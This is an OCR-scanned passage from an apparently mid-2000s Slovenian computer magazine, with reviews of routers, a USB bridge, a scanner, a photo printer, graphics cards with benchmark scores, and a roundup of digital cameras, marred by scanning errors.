testiranja MAXg do neke mere stvari obrne na
bolje. Vendar pa je obljuba o 50 % povetanem
dometu, brez kakrinihkoli pove¢anj zmogljivosti
sicer popolnoma korektne 2 dBi antene, pretira-
na. Priznati je treba, da je mo¢ anteno odviti in jo
nadomestiti z mo¢nejSo. Dostopna to¢ka je sicer
prijetna za konfiguracijo, spletni vmesnik je zelo
enostaven. Resni¢no velja pohvaliti vkljucitev
novega varnostnega standarda, 802.11i, imeno-
vanega tudi WPA2, ki si sicer Sele utira pot v
naslednjo generacijo brezZi¢ne opreme. Oprema
pozna tudi standard 802.11e za zagotavljanje ka-
kovosti storitve (zagotovljena pasovna $irina za
protokole, ki jim dolo&imo prioriteto). Uporaba
WPA2 zahteva isti standard tudi pri sprejemni-
ku, in v navezi z brezZi¢nim USB-vmesnikom je
povezava Sifrirana mo&neje, kot je bilo to mo#no
doslej, in tako omreZje je resni¢no varnejse pred
gro¥njami iz okolice in interneta.

PROTI: Dostopna tocka glede na pred-
hodno generacijo brezZi¢ne opreme US Ro-
botics ponuja premalo moZnosti, prav tako pa
v resnici ne izpolnjuje obljub o vegji hitrosti
in daljsem dometu kot pri opremi z antenami

MIMO. Jm

ADSL VolP-usmerjevalnik

FRITZ!Box DSL

EEEEEEEEEN
Informacije: Alterna intertrade, d.d.
Spletni naslov: www.avm.de
Cena: 28.700 SIT
Nacini upravljanja: Spletni vmesnik
Stevilo in tipi vmesnikov: 1x priklop za kabel DSL, 2x
LAN 10/100; 1x USB
PriloZena programska oprema: Vmesnik za namestitev,
navodila
Podprti protokoli: TCP/IP, PPPoE, PPPoA, DHCP
Modem: Vdelan, Annex B ADSL 2/2+
Virtualni strezniki: Da
Selektivni pozarni zid: Da
Prepustnost IPSec/VPN: Da (IPSec-ESP Tunnel mode,
L2TP, PPTP)
Nadgradljiva strojnoprogramska oprema: Da

Razmerje cena/kakovost:

ZA: Avm je v Nemdiji z drufino izdelkov Fritz!
dotivel velik uspeh, saj so skoraj vsi veliki teleko-
munikacijski operaterji svojim naro¢nikom pri-
lagali opremo tega proizvajalca. Box DSL je naj-
osnovnej§i predstavnik dru¥ine Fritz!, gre pa za
ADSL-modem z vdelanim usmerjevalnikom in
mini stikalom. Tako v eni $katli zdrufuje vse, kar
potrebuje manj zahteven uporabnik. Modemski
del je zdruzljiv s specifikacijo ADSL 2+, s ¢imer
je nalo?ba varna tudi za bliznjo prihodnost. Upo-
rabnik lahko ratunalnik priklopi v enega izmed
dveh ethemetnih prikljutkov ali pa neposredno v
USB-prikljucek. Slednji je namenjen tudi priklo-
pu posebnih naprav, kot sta igralna konzola (Xbox
ali PlayStation 2) ali prenosni racunalnik. Vsa
konfiguracija te preproste napravice se odvija prek
spletnega vmesnika, za osnovno delovanje ADSL-
a pa ni potrebno nikakr$no nastavljanje. Napredni
uporabniki bodo vsekakor v »ekspertnem« zavihku
nasli dovolj moznosti, kot so virtualni stre?niki ipd.
Pohwvaliti je treba sodelovanje med nemsko drzavo
in AVM-jem, saj radi poudarijo, da je vdelani po-
farni zid preveril TUV, in uporabniki to jemljejo
kot pozitivno (ne upam si ugibati, kako bi to vzeli
pri nas). Zanimivi funkcionalnosti, ki ju nismo na-
8li nikjer drugje, sta merilnik aktivnosti, ki bele%i
tako ¢as kot omre?ni promet in s tem pomaga upo-
rabniku nadzirati svoj internetni ratun, ter uprav-
ljalnik s pasovno §irino, ki omogota omejevanje
posameznih omre?nih aktivnosti. Pohvalno je tudi
to, da je Skatli prilofeno dovolj omre?nih kablov,

tudi daljgih.

PHUTl: Ceprav gre za osnovno napravico, bi
lahko vanjo vdelali vsaj e dve ethernetni vrati.
Ce imamo veé raéunalnikov, je namre¢ treba pri-
klopiti $e stikalo ali razdelilnik. JM

ADSL VolP-usmerjevalnik

FRITZ!Box

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Alterna intertrade, d.d.

Spletni naslov: www.avm.de

Cena: 45.360 SIT

Nagini upravljanja: Spletni vmesnik

Stevilo in tipi vmesnikov: 1x priklop za kabel DSL, 1x
LAN 10/100; 1x USB, 1x ISDN/analogni telefon,
2x POTS za analogni telefon

Prilozena programska oprema: Vmesnik za namestitev,
navodila

Podprti protokoli: TCP/IP, PPPoE, PPPoA, DHCP, G.711,
6.723.3, G.729, SIP

Modem: Vdelan, Annex B ADSL 2+

Virtualni strezniki: Da

Selektivni pozarni zid: Da

Prepustnost IPSec/VPN: Da (IPSec-ESP Tunnel mode,
L2TP, PPTP)

Nadgradljiva strojnoprogramska oprema: Da

ZA: Naprednejsi model AVM-jeve napravice
FRITZ!Box se v primerjavi z modelom Box DSL
pohvali z vdelanim prehodom glasovne telefo-
nije prek internetnega protokola IP (VoIP). V
osnovi gre za enako enostavno napravico, ki je
tudi enakih mer in oblikovno identi¢no odeta v
kombinacijo bordo rdele in sivega ohigja. Gre za
kombinacijo ADSL-modema z usmerjevalnikom
s funkcionalnostjo telefonske centrale, kamor je
moc priklopiti tako ISDN kot analogni telefonski
prikljucek ter izkoristiti $e prednosti, ki jih prinasa
internetna telefonija. Usmerjevalniski del ADSL
ohranja vse funkcije, ki so na voljo pri osnov-
nem modelu Box! Takoj$nja prednost VoIP-a je
uporaba internetne telefonije brez vklopljenega
ratunalnika, hkrati pa vse klice, tako internetne
kot klasi¢ne oz. ISDN sprejemamo prek istega
obstojeCega telefona (ali ve¢ telefonov). Inteli-
gentni sistem za upravljanje s pasovno $irino in
prometom zagotavlja dobro kakovost internetnih
telefonskih klicev, saj ob telefonskem klicu omeji
hitrost podatkovnih prenosov in da prednost tele-
fonskemu prometu, ob preveliki zasedenosti inter-
netne linije (¥¢ aktivnem klicu) pa klicoci dobi
zaseden signal. Naprava omogo&a tudi prikljucitev
in funkcije internetne telefonske centrale, vkljuc-
no s posredovanjem klica, ¢akajo¢im klicem, kon-
feren¢nim klicem ... Kakovost prenosa govora je
bila ob preizkusu odli¢na, saj na§ sogovornik ni
zaznal, da bi bilo ob klicu karkoli drugace.

PROTI: Ceprav enota ponuja vse, kar ob-
ljublja, za uporabo ene same 3katle v naSem
bivalis¢u spet pogreSamo vsaj $tiri prikljucke
LAN ter brezZi¢ni del — delovanje kot dostopna

totka (AVM je ¥e napovedal naprednejsi model
FRITZ! Fon Wlan). JM
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PREIZKUSILI SMO ...

USB-most

Delkin USB Briduae

Razmerje cena/kakovost: EEEEEEEEEN

Informacije: Meditrade, d.o.o.
Spletni naslov: www.delkin.com
Cena: 15.000 SIT

Hitrost prenosa: 0,5 MB/s
Napajanje: 2 x AA

Umesnik: USB 2, 1.1

Mere: 82 x 63 x 19 mm

ZA: Majhna, a enostavna napravica, ki zna
vzpostaviti most med digitalnim fotoaparatom
in prenosnim diskom. Trije gumbi, en vhod,
en izhod USB in nekaj lu¢k, ki nam povedo,
kaj napravica po¢ne. Uporaba je sila prepro-
sta: na eni strani priklopimo digitalni foto-
aparat, na drugi prenosni disk, jo vklopimo,
pritisnemo gumb za prenos in potakamo, da se
podatki prenesejo. Ce ¥elimo biti prepri¢ani,
da so se pravilno prenesli, pritisnemo $e gumb
za preverjanje in po¢akamo. Podatke lahko
prenesemo iz vrste naprav, od digitalnih fo-
toaparatov do MP3- predvajalnikov in pom-
nilnigkih USB-kljugev. Prvi so seveda najzani-
mivejsi, saj nam tam najpogosteje zmanjkuje
prostora. Deluje z razli¢nimi modeli, tudi s Ca-
nonovimi, ki praviloma potrebujejo gonilnike
WIA za prenos podatkov.

PROTI: prenos podatkov je dokaj poca-
sen, saj smo izmerili le okoli 0,5 MB/s. Drugih
omejitev prakti¢no ni, le zunanji disk mora biti
formatiran v datote¢nem sistemu FAT32. Po-
datke lahko shranjuje tudi na prenosne diske
CD/RW oziroma DVD/RW, pomnilnigke USB-
kljuge in ¥e skoraj pozabliene diske ZIP.
Vsekakor zanimiva 1
ce Ze imate prenosni //
Yelite povecati zmoglji :
pomnilniskih kartic
svojem osebnem radu:
nalniku.
JM
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opticni bralnik

Skupna ocena: EEEEEEEEEN
Razmerje cena/kakovost: ENEEEEEEEN
Informacije: Canon Adria, d.o.0.

Spletni naslov: www.canon.si

Cena: 19.990 SIT

Loéljivost: 1200 x 2400 dpi

Barvna globina: 48-bitna

Hitrost (strani na minuto):

Moznost branja prosojnic/dia: Ne/ne

Samodejni podajalec: Ne

Umesnik: USB 2.0

Gonilniki za: Windows, MAC

ZA: Novi Canon LIDE 25 je eden najmani-
$ih in elegantnejsih opti¢nih bralnikov na
trgu. Zaradi majhnosti je zelo primeren sopo-
tnik prenosnim rac¢unalnikom. Povezava USB
2 ga oskrbuje tudi z energijo, tako da ni potre-
be po dodatnem napajalnem kablu, s Cimer je
omogoceno delovanje tudi na terenu. Bralnik
je tih in natancen — med testiranjem nismo za-
pazili nobenih te¥av. Zajemi sivinskih in barv-
nih slik ter &rmega besedila so potekali z odli¢-
nimi rezultati. Delo z bralnikom je enostavno,
programska oprema je odzivna ter preprosta.
Bralnik obvlada na¢in zajema MultiMode, kjer
programska oprema poskrbi za lo¢eno shranje-
vanje skupaj zajetih dokumentov. Vdelana je
tudi tehnologija QARE (Quick Automatic
Retouching and Enhancement), ki zmanjsa
posledice praha in prask na dokumentih (pred-
vsem se to vidi na fotografijah). Na ohigju so
trije programirljivi gumbi za hiter dostop do
funkcij. Pokrov bralnike je mo¢ prilagoditi na
razli¢no visino zajemanih objektov (knjiga).

PROTI: Sibka plat bralnika je hitrost oziro-
ma pocasnost, saj je treba za predogled zajema

A4 Cakati skorai 20 sekund. Tudi zajem
Casneje, kot smo vajeni
4jih bralnikih. Pri tako
anem bralniku niti ne
oremo pomisliti na do-
latke, kot so moduli za
zajem iz filma ali pro-
sojnic.
JM
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Skype .
The FrimMechie

foto tiskalnik

HP Photosmart 8250

Razmerje cena/kakovost: EEEEEEEEEN
Informacije: HP Slovenija, d.o.o0.

Spletni naslov: www.hp.com

Cena: 56.910 SIT

Stevilo barv: 6

Najvisja locljivost: 4800 x 1200 dpi

Izmerjena hitrost izpisa: 15 x 10 cm 33 sekund, A4
najvecja kakovost 3 minute

Dodatne moznosti: PictBridge, LCD-zaslon, bralnik
kartic

Vmesnik: USB 2

Mere in teza: 447 x 385 x 160 mm, 8,5 kg

ZA: Cakali smo ga dolgo, a le docakali — HP-
jev domadi tiskalnik z lo¢enimi barvnimi kar-
tusami. Photosmart 8250 spada v skupino foto
tiskalnikov in za tiskanje uporablja 6 barv, kot
vetina drugih v tej skupini. Ima dve lo¢eni vio#is-
&i za papir, prvega za 15 x 10 cm, drugega za veli-
kost A4. Med njima zna izbrati samodejno, glede
na zahtevano velikost pri tiskanju. Poleg tega ima
vdelano prepoznavanje papirja, kar bo za mnoge
uporabnike olaj$anje, saj se ne more zgoditi, da bi
na kakovosten papir dobili izpis v slabi (draft) ka-
kovosti. Podobno kot vetina drugih tiskalnikov
iz tega razreda ima tudi Photosmart 8250 vgrajen
bralnik kartic in LCD-zaslon za neposredno ti-
skanje iz pomnilniskih kartic. Zna celo odpraviti
ucinek rdecih oé&i in tiskati posamezne slicice iz
video zapisa v formatu MJPEG ali MPEG. Temu
so dodali podporo standardu PictBridge, tako da
je tiskalnik Se bolj vsestranski. Barvne kartuse
ima zanimivo zasnovane, oblikovane so tako, da
ne moremo vstaviti kartuse v napacno leZisce. Ti-
skalnik ima za vsako barvo $e poseben rezervoar,
tako da lahko kartu$o menjamo med delom in pri
tem ne bomo pokvarili izpisa. Crna kartusa ima
od drugih ve&jo zmogljivost, tako da je tiskalnik
primeren tudi za pisarnigko rabo.

PROTI: Hewlett-Packard navaja, naj bi za
velikost izpisa 15 x 10 cm porabil le 14 sekund,
no, v nafem preizkusu je bil ta ¢as dvakrat daljsi.
To je e vedno veliko bolje od prej$njih mode-
lov, ki so za to porabili okoli ene minute. Hitrejsi
je tudi pri tiskanju na papir A4 v polni velikosti
in kakovosti, v primerjavi s Photosmartom 7690
je kar dvakrat hitrejsi, a $e vedno porabi za to 3
minute. Kljub temu je ravno zaradi lo¢enih kar-
tu$ in bistveno hitrejSega izpisa zanimiv za Sirok
krog uporabnikov. A0



PREIZKUSILI SMO ...

graficna kartica

Sapphire

Razmerje cena/kakovost:

Informacije: PC.Hand, d.o.o0.

Spletni naslov: www.sapphiretech.com
Cena: 24.000 SIT

Graficni procesor: ATl X550

Pomnilnik: 256 MB DDR

Hitrost procesorja/pomnilnika: 400/500 MHz
Vodilo: PCIE 16x

Dodatni prikljuéki: DVI, D-sub, TV-izhod
Drugo: Pasivno hladilno jedro

ZA: Sapphire je predstavil pomladitev svoje
brezsumne druZine grafi¢nih kartic. Pretekla
generacija je temeljila na graficnemu pro-
cesorju ATI X300, nova pa je X550. Kartica,
ki je hlajena samo s pasivnim hladilnikom,
je opremljena $e z 256 MB DDR pomnilnika
ter ima poleg digitalnega prikljucka DVI in
analognega D-sub 3e izhod za priklop na tele-
vizijo. Seveda novinec temelji na vodilu PCI
express. X550 Silent sicer cenovno spada v
vstopni razred, a hkrati ponuja ve¢ zmogljivo-
sti od modela X300 HyperMemory. Poglavitna
prednost X550 je pomnilnik, dodan na karti-
ci, kar manj obremenjuje sistemski pomnilnik
in vodila, hkrati pa omogoca vi§jo zmogljivost.
Procesor X550 ima 4 cevovode za obdelavo
pik ter dva za obdelavo tekstur. Kartica strojno
podpira knjiznico DirectX 9. Med poganja-
njem zmogljivostnih testov se je kartica dodo-
bra segrela — hladilno jedro je bilo izredno vro-
e, a kartica je delovala brez te¥av, kar potrjuje
robustnost reSitev. Kartica bo zanimiva pred-
vsem za sistemske ponudnike, saj bodo kartice
nasle prostor tam, kjer je potreba po tiSini in
mocne;jsi zmogljivosti. Ker smo X300 pogosto
srecali v medijskem ra¢unalniku v dnevni sobi,
X550 z dvigom zmogljivosti tu &aka lepa pri-
hodnost. V paketu sta priloZen ¢ PowerDVD
in Sapphirov navijalni program TriXX, ki s
postopnim dviganjem frekvence ter nenehnim
testiranjem poiS¢e najzmogljivejsi $e zanesljivi
prag delovanja kartice, kar je dobrodoslo.

PROTI: artica se med delovanjem precej
segreje, zaradi Cesar je priporocljivo, da v ohis-
ju skrbi za pretok zraka drug ventilator oziroma
da kartica ni preblizu drugi na vro¢ino ob¢ut-
ljivi komponenti.

grafi¢na kartica

Glub 3D
Radeon
X800 RX

Skupna ocena:

Razmerje cena/kakovost:
Informacije: I1ZID, d.o.0.
Spletni naslov: www.club-3d.com

Gena: 47.900 SIT

Tehnicni podatki

Graficni procesor: ATI R480

Pomnilnik: 256 MB GDDR3

Hitrost procesorja/pomnilnika: 475/490(980) MHz
Vodilo: PCIE 16x

Dodatni prikljucki: 2x DVI, VIVO

ZA: ciub 3D je predstavil novo grafi¢no kar-
tico, ki temelji na grafi¢nemu procesorju R480.
Osnovna vrlina kartice, imenovane X800 RX,
je odli¢no razmerje med zmogljivostjo in ceno,
saj se kartica cenovno uvri¢a v srednji razred,
hkrati pa ponuja visoko zmogljivost. Zanimivo
je, da v specifikacijah pie, da kartica temelji na
Cipu R480, ki naj bi bil &ip iz serije X850 XT,
kjer deluje z Sestnajstimi cevovodi. Vse kaze, da
je Club 3D prisel do serije Cipov s tefavami pri
delovanju vseh 16 cevovodov, zato jih je osem
preprosto izklju¢il in ponudil kartico pod nazi-
vom X800 RX. Dodatna prednost je tudi nova
zasnova kartice, ki je zmo¥na dvojnega delova-
nja z dodatno kartico Crossfire. Sicer je kartica
po vseh drugih merili dokaj klasi¢na — ima 256
MB grafi¢nega pomnilnika GDDR3, 2 DVI-iz-
hoda, ter vrata VIVO za TV- izhod in zajemanje
videa. Hladilno jedro s ploskim ventilatorjem,
ki zaseda le eno re¥o, je zmaga trenutne gene-
racije ATl-ja glede na konkurenco. V gkatli so
priloZeni $e vmesnika RAMDAC 400 MHz za
prikljutitev analognih monitorjev, vsi potreb-
ni kabli za delo z videom, program PowerDVD
ter igra na DVD-ju Collin McRea Rally 2005.
Glede na zmogljivostne teste 3D Mark je razli-
ka med rezultati modelov RX ter X800 PRO in
X800 XT manjsa, kot smo predvidevali, kar po-
meni, da je ob polovi¢ni ceni glede na X800 XT
kartica res ugoden nakup. Poleg tega se nikoli ne
ve — morda lahko nadebudneZi z nekaj igratka-
nja odprejo Se kak cevovod in iz kartice iztisnejo
$e nekaj odstotkov zmogljivosti.

PROTL: s prihodom prvih kartic, ki bodo te-
meljile na ¢ipu X800 GTO se zna razmerje med
zmogljivostjo in ceno $e izboljati. Seveda pa ne
velja pozabiti, da smo pred predstavitvijo na-

Jm slednje generacije grafi¢nih kartic ATI — R520,
o ¢emer bomo ve pisali prihodnjic! JM
Test Locljivost, globina X550 X300 X700,
Silent 256MB Test Locljivost, globina X800 RX X800 PRO X850 XT
3D Mark 2003 | 1024 x 768 x 32| 3536 | 2558 | 6931 3D Mark 2003 1024 x 768 x 32| 8851 | 10.101 | 12.253
3D Mark 2005 | 1024 x 768 x 32 | 1781 | 1101 | 3185 3D Mark 2005| 1024 x 768 x 32| 4038 | 4686 | 5540

Testni sistem: Procesor Intel P4 3,8 GHz, maticna
ploséa MSI PAN Diamond, pomnilnik 2 x 512 MB
Gorsair DDR2-566, Windows XP.

Testni sistem: Procesor Intel P4 3.8 GHz, maticna
ploséa MSI P4N Diamond, pomnilnik 2 x 512 MB
Corsair DDR2-566, Windows XP.

graficna kartica
Nvidia
GeForce
1800GT

Skupna ocena:

Razmerje cena/kakovost:
Informacije: Nvidia

Spletni naslov: www.nvidia.com
Cena: okoli 115.000 SIT
Tehnicni podatki

Graficni procesor: G70
Pomnilnik: 256 MB GDDR3

Hitrost procesorja/pomnilnika: 400/500(1000) MHz
Vodilo: PCIE 16x

Dodatni prikljuéki: 2x DVI, VIVO

ZA: 7500GT je nova kartica, ki gradi na sed-
mi generaciji grafi¢nih procesorjev GeForce. Po
pri¢akovanjih izgubljeni X na koncu oznake po-
meni nekaj manjSo zmogljivost glede na prve-
ga, 7800 GTX. Sicer je grafi¢ni procesor enak
— G70, ki ga sestavlja ve& kot 300 milijonov
tranzistorjev. Glede na zmogljivejSega brata je
procesor 7800GT pocasnejsi za 30 MHz, pom-
nilnik pa za 100 MHz (skupaj zaradi DDR to
znese 200 MHz). Namesto 24 sen&ilnikov pik
jih ima GT le dvajset, sen¢ilnikov modelov pa
le sedem namesto osem. Vse to vpliva na zmog-
ljivost, kot smo po pri¢akovanjih izmerili tudi
v testih, a pomembne stvari — nove tehnologije
ostajajo prisotne v celoti! Tako GT uporabniku
ponuja vse bonboncke tehnologij HDR in Sha-
der Model 3 iz nabora DirectX 9.0. V primerjavi
s kartico 7800GTX, ki je glede na predhodne
generacije grafik %e opazno energijsko varénejsa
in zaradi manjSega segrevanja in hlajenja tisja, se
7800 GT glede vsega e bolje odreze. Ob najvigji
obremenitvi porabi 85 W energije, njen hladilni
element, katerega ventilator se prilagaja trenut-
ni obremenitvi in temperaturi in je prijetno tih,
pa zaseda eno samo re%o.

PROTI: Zai Nvidia e vedno ni popravila go-
nilnikov za SLI. Podporo dveh kartic, temelje-
¢ih na razli¢nih procesorjih, bo, kot kaZe, treba
pocakati $e nekaj mesecev, do zime. Ceprav GT
prinaga ni%jo ceno za Nvidiino najnovejso gene-
racijo, pa $e vedno Zeljno pri¢akujemo novega
predstavnika za srednji cenovni razred, ki ga tre-
nutno nadomes¢ajo cenejsi 6800. Prav tako je
vprasljivo, ali 100 evrov razlike v ceni upravicu-
je nakup kartice 7800 GT namesto GTX.

JM

Test Lotljivost, 7800 7800 X800 X850 XT
globina  GT GTX PRO

3D Mark | 1024 x | 15.135 | 16.701 | 10.101 | 12253

2003 | 768 x 32

3D Mark | 1024 x | 6805 |7553 |4686 |5540

2005 | 768 x 32

Testni sistem: Procesor Intel P4 3.8 GHz, maticna
ploséa MSI P4N Diamond, pomnilnik 2.x.512 MB
Gorsair DDR2-566, Windows XP.
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hiter mal&ek, za vklop porabi

dokaj hitro, v slabgih sve-

-..-.muﬂlv s
— . @ le okoli ene sekunde. Ostri

Jesen nam zopet prinasa vrsto novosti,
ki s0 jih proizvajalci predstavili v
poletnem Casu.

PiSe: Alan Orlié BelSak

alan.orlic@mojmikro.si

Konica Minolta Dynax 5D

V boj za kupce zrcalnorefleksnih fotoapara-
tov se je med zadnjimi spustila Konica Minolta.
Lansko leto predstavljenemu modelu 7D se je
letos pridruZil 5D, namenjen predvsem amater-
skim uporabnikom. Naj vas to ne zavede, gre
za zelo spodoben fotoaparat. Ohije je zelo ma-
sivno in je med teZjimi v svojemu razredu.
Oblikovano je zelo dobro, saj se lepo dr#i
v roki, snovalci so poskrbeli tudi za dobro
razporejene gumbe. Prek njih doseZete vse
pomembne nastavitve, ne da bi za to mora-
li posebej v meni. Zaslon za pregledovanje
slik je velik, podobno kot pri 7D, v bliZini
je tudi gumb za umirjanje slike. Ta mo¥-
nost je ena izmed tistih, ki utegne tehtnico
pri kupcu prevesiti na stran Dynaxa 5D, saj
namre¢ vsak objektiv dobi s tem mo¥nost
umirjanja slike. Kljub malce drugaéni logi-
ki, ki jo ima Konica Minolta, je fotoaparat
zelo enostaven za uporabo, tudi na racun Ze
prej omenjene dostopnosti nastavitev. Izravna-
vi beline so namenili kar vrtljiv gumb, poleg Ze
nastavljenih mo?nosti in ro¢ne nastavitve po-
zna Dynax 5D tudi nastavitev v Kelvinih, od
2500 do 10.000 v korakih po 100 Kelvinov. V
menijih se skriva e vrsta dodatnih mo¥nosti, ki
nam omogod&ajo prilagoditi fotoaparat po svojih
Yeljah. Novinec se je zelo dobro obnesel tudi pri
kakovosti slike, ki je med bolj$imi v svojemu
razredu. Suma je zelo malo, celo pri ISO 3200.
Ce ga primerjamo z drugimi, se po ergonomiji
in kakovosti slike brez te¥av prebije prav v vth v
razredu amaterskih zrcalnorefleksnih fotoapara-
tov. Konica Minolta se torej vrata na stara pota
slave in kmalu bomo videli tudi to, kako se bo
obnesla naveza s Sonyem.
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Kodak EasyShare C360 %
Ali se bo Kodakova N %
usmeritev v kompaktne
fotoaparate obnesla, bomo 3
videli &ez &as, trenutno je :
za petami Canonu in Olym- ==
pusu. Zadnji fotoaparat v seriji C
je model 360, ki je po osnovnih znacilnostih
zelo podoben sorodniku C340. Ohisje je
malenkost bolj odebeljeno in drugace zaob-
ljeno, tudi nekaj novih gumbov se najde.
Razli¢nih fotografskih programov je Se
nekaj ve¢, 17 v primerjavi s 13, ko-
likor jih ima C340. Izboljsan je tudi
nacin snemanja videa, ki zmore spod-
obnih 24 posnetkov na sekundo pri
lo¢ljivosti 640 x 480 pik. Za format
so zapisa so izbrali kar MPEG 4, ki je
prakti¢no omejen le z velikostjo pom-
nilnigke kartice. Najve&ja dol¥ina, ki
jo lahko posnamete v enem kosu, je do
80 minut. C360 pozna kar nekaj natinov
merjenja svetlobe, med drugim to¢kovno mer-
jenje. Ima tudi povetano ob¢utljivost do ISO
800, a le pri ni%ji lo¢ljivosti. Kljub temu s Sumom
odli¢tno odpravi, kar je seveda uporabnikom
najpomembnejse. C360 se je izkazal za zanimiv
fotoaparat z nekaterimi naprednimi mo?nostmi,
ki so nad pri¢akovanji v tem razredu, in pomeni
dobro konkurenco drugim znamkam.

Ganon Digital Ixus 750

BlaITAL
VHUS 750

Se sprasujete, kaj lahko Se po-

nudi fotoaparat velikosti $katlice vZigalic?
Cedalje veg, kar potrjuje tudi zadnji novinec iz
serije Ixus. Prvo, kar boste opazili, ko ga boste
prijeli v roke, je velik LCD-zaslon na zadnji
strani fotoaparata. Zaradi tega so se vsi gumbi
umaknili na desno stran, kar zahteva malo ve¢
spretnosti pri uporabi z eno roko. Fotografiranju
SO namenjene tri osnovne moznosti: samode;j-
ni, scenski in ro&ni nacin. Slednjega ne jem-
ljite dobesedno, le dopus¢a nastavitve, ki so v
samodejnem zaklenjene, na primer nastavitev
ISO-ob&utljivosti in pod/nadosvetlitve. Malce
so preuredili tudi Stirismerni gumb, predvsem
kar glede dosegljivosti nastavitev. Tako je v
ospredje prisla nastavitev 1ISO, kar utegne biti
zelo priro¢no. Ixus 750 se je izkazal kot zelo

tlobnih razmerah si pomaga
z dodatno osvetlitvijo. Ka-
kovost slike je zelo dobra,
tudi pri visjih ISO-ob¢utlji-
vostih. Ce zakljugimo, to je
spodoben in zmogljiv mal-
ek, ki bo kos tudi resnejsim
uporabnikom. Za piko na i bi
lahko Canon poskrbel z daljso
ali $iro gori§¢nico, a za to bomo

pocakali na naslednji model.

Canon Powershot A410

Canonov vstopni model je nekoliko pridobil
pri miSicah in, kot je ¥e v navadi, je cenejsi od
predhodnika. Oblika ostaja podobna, tudi pri
gumbih ni velike razlike. LCD-zaslon je seveda
med najmanjsimi, zado§¢a pa za ogled in nasta-
vitve. Morda ravno zaradi tega snovalci pri tem
modelu e vztrajajo pri navadnem iskalu, ki ga
v seriji Ixus prakti¢no ni ve¢. Mo#nosti za foto-
grafiranje je kar nekaj, v osnovi so zelo podobne
tistim iz Ixusa 750, eprav jih je nekaj manj.
Tako recimo manjka ISO 400, zato pa ima na
voljo roéno nastavitev izravnave beline. Pri fo-
tografiranju se je dobro obnesel, pozitivno nas
je presenetila samodejna izravnava beline. Ce
upostevamo, da gre za vstopni model, ponuja
fotoaparat vse tisto, kar je za nezahtevno rabo
potrebno, in 3e kaj veg, kar bo zadostilo rado-
vednosti in nadaliniim zahtevam.

.....
i,

Konica Minolta Dimage X1

Kar se da narediti veliko, se da tudi manjge,
so rekli razvojniki in uspe$no vstavili sistem za
umirjanje slike na tipalu v Zepni model, Dimage
X1. Fotoaparat niti ni tako majhen, e ga pri-
merjamo s predhodnikom, delno tudi na ra¢un
velikega LCD-zaslona. Oblikovalci so ga lepo
vstavili v ohisje, tudi preostali del fotoaparata
sledi modernemu oblikovanju. Za uporabo X1 ni
ravno najprijetne;jsi, ve¢ina nastavitev je doseg-
ljiva le v meniju, kar pomeni nekaj ve¢ rokova-
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« 8.0 milijonov afaktivnin slikovnih todk (3488 X 2618)

« XD-Picture Card™, CompactFlash™, Microdrive™
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nja s fotoaparatom. A po drugi strani fotoaparat
omogota nastavitev $tirismernega gumba, ki mu
lahko dolo¢imo lastne nastavitve. Uporaba foto-
aparata je dokaj enostavna, najbolj moti zamik
med pritiskom na spro¥ilec in zajemom fotografi-
je. Je namre& ob&utno vecji kot pri obeh preizku-
Senih Canonovih fotoaparatih. Kakovost slike je
sicer dobra, a pri ISO 200, ki je, mimogrede, tudi
najvisja obcutljivost, dokaj zrnata. Skoda, saj bi
bil lahko to sicer zelo spodoben fotoaparat, ki ga
reSuje predvsem vdelani umirjevalnik slike.

Fujifilm Finepix $9500

Nova tehnologija tipal se je dobro obnesla %e
v modelu F10, &as je tudi za resnejse modele. Z
naslednikom S7000 so pri Fujifilmu &akali kar
nekaj ¢asa, a se je to splatalo. S9500 je namred
v mnogih pogledih ¢&isto drug fotoaparat, le po-
dobne oblike. Ta je zelo podobna klasi¢nim zr-
calnorefleksnim fotoaparatom, tudi po velikosti
ne odstopa veliko. Odebeljeno dr¥alo na desni
strani zelo pripomore k stabilnemu dr¥anju foto-
aparata. Objektiv je pridobil tako na Sirokem
kot tele obmocju in zmore spodoben razpon od
28 do 300 mm. Malce je utrpela zaslonka, ki
je bila pri prej$njih modelih v tele obmo&ju za
skoraj celo stopnjo boljsa. Objektiv je pridobil se
nekaj — roéni obro¢ za spreminjanje gori§¢nice.
Med njim in ohigjem fotoaparata je $e obro& za
ro¢no ostrenje. ki pa mu mo¢no manjka prikaz

Proizvajalec in ime modela Konica Minolta 5D

NNNNENNSES |NESSSSSSSS |SSSSSSSSSS |SSSSSSSSSS |SSSSSSSSSS |SSSSSSSESS |
[Razneie cena/kakows! | ANNNNNNESS | ANNSNNESSS |AESSSSSSSS |ASSSSSSSSS | ASSSSSSSSS |SESSSEEEES |

Konica Minolta Dimage X1 Ganon Digital Ixus 750

razdalje v metrih. Ta teZava se sicer pri Fujifilmu
vlete %e od prvega fotoaparata iz serije S, v po-
moc je le dvakratna pove¢ava na zaslonu. Upo-
raba je dokaj enostavna, vse pomembne funkcije
so dosegljive prek gumbov in skakanja po me-
nijih ni veliko. Ostrenje je dokaj hitro, v slabih
svetlobnih razmerah si pomaga z lu¢ko oziroma
nam preostane ro¢no ostrenje. Kakovost slike je
dobra, lahko bi bila 3e kangek boljsa. Se boljsa
stvar je velik razpon ISO, ki se kon¢a pri vred-
nosti 1600. Fotografija je v tem primeru %e dokaj
»$umecac, a Se vedno uporabna. Korak naprej, ki
bo prepri¢al marsikaterega uporabnika v to, da
so kompakni fotoaparati $e vedno uporabni. Ce
strnemo, je Fujifilmu uspelo narediti fotoaparat,
ki bo zanimiv za iroko paleto uporabnikov.

Olympus FE-120

Majhen, zmogljiv, hiter - to je Olympusov
novinec v treh besedah. Pojdimo $e po daljsi
poti. FE-120 je del oblike pobral iz serije myu, a
na svoj na¢in. Rahlo odebeljen desni del, mal-
ce bolj oglato, a kljub temu elegantno ohigje.
LCD-zaslon ni med vecjimi, zato je zadnja stran
kar malce prazna, so pa zaradi tega gumbi toliko
la¥e dosegljivi. FE-120 ponuja kar nekaj moz-
nosti za fotografiranje, predvsem samodejnih
in scenskih naginov. Zanimivo je, da nima
moZnosti ro¢ne nastavitve 1SO-ob&utljivosti,
so pa zato $e vedno na voljo pod/nadosvetlitev
in druge pomembne mo#nosti. Uporaba je pre-
prosta, preseneti dokaj hitro ostrenje, ki dobro
deluje tudi v slabgih svetlobnih razmerah. Temu
dodajmo e dobro kakovost slike in dobimo vse,
kar povprecen uporabnik potrebuje za vsakda-

Ganon Powershot A410

nje fotografiranje. Olympusu je uspelo dobro
oceniti, kaj potrebuje povpreéen uporabnik,
in ta pri¢akovania FE-120 v celoti izpolniuie.

Kodak EasyShare V550

Trud, vloZen v razvoj kompaktnih modelov, se
pri Kodaku potasi obrestuje in njihova paleta je
